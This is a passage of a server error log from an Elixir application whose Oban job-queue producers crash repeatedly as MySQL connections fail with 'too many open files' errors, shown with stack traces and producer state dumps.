    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:57:52.241485Z], limit: 5, uuid: "41ed4b1b-ff92-4c27-a6d8-0030c154e270", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:52.241490Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.101098>, refresh_timer: #Reference<0.2525715032.1121189889.101094>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:04.565000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:05.614000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:12.951000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:13.327000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:15.269000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:15.316000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:15.487000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:15.755000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:16.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:58:04.238353Z], limit: 5, uuid: "28c4ea1c-cc87-468d-9228-ae09fc856f11", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:04.238359Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.246873>, refresh_timer: #Reference<0.2525715032.1121189889.101119>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:16.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 820ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:58:04.239450Z], limit: 50, uuid: "7de63f18-66fd-4400-a66b-421a678779f6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:04.239455Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.246877>, refresh_timer: #Reference<0.2525715032.1077411843.226977>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:16.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:58:04.239720Z], limit: 20, uuid: "2f200537-fc9e-49b3-99ef-40207e8e0762", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:04.239725Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.246874>, refresh_timer: #Reference<0.2525715032.1099169794.254971>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:16.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 870ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:58:04.239877Z], limit: 3, uuid: "b7da3aa8-6de3-4d96-a676-a95915f31dff", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:04.239882Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.246876>, refresh_timer: #Reference<0.2525715032.1099169794.254972>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:16.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:58:04.238935Z], limit: 10, uuid: "b450f81f-c0e6-4eae-87e8-18fe42352ba1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:04.238942Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.246872>, refresh_timer: #Reference<0.2525715032.1121189889.101127>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:16.244000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:16.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:58:04.240655Z], limit: 5, uuid: "7698b485-cb57-4f7e-abd5-c0cb3037e2ec", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:04.240661Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.246875>, refresh_timer: #Reference<0.2525715032.1099169794.254995>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:16.915000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:17.359000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:23.551000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:24.295000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:26.978000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:28.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:58:16.247802Z], limit: 5, uuid: "11dea108-7cd2-4843-a2e3-2dc37c9ed79c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:16.247808Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.247140>, refresh_timer: #Reference<0.2525715032.1068236804.247131>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
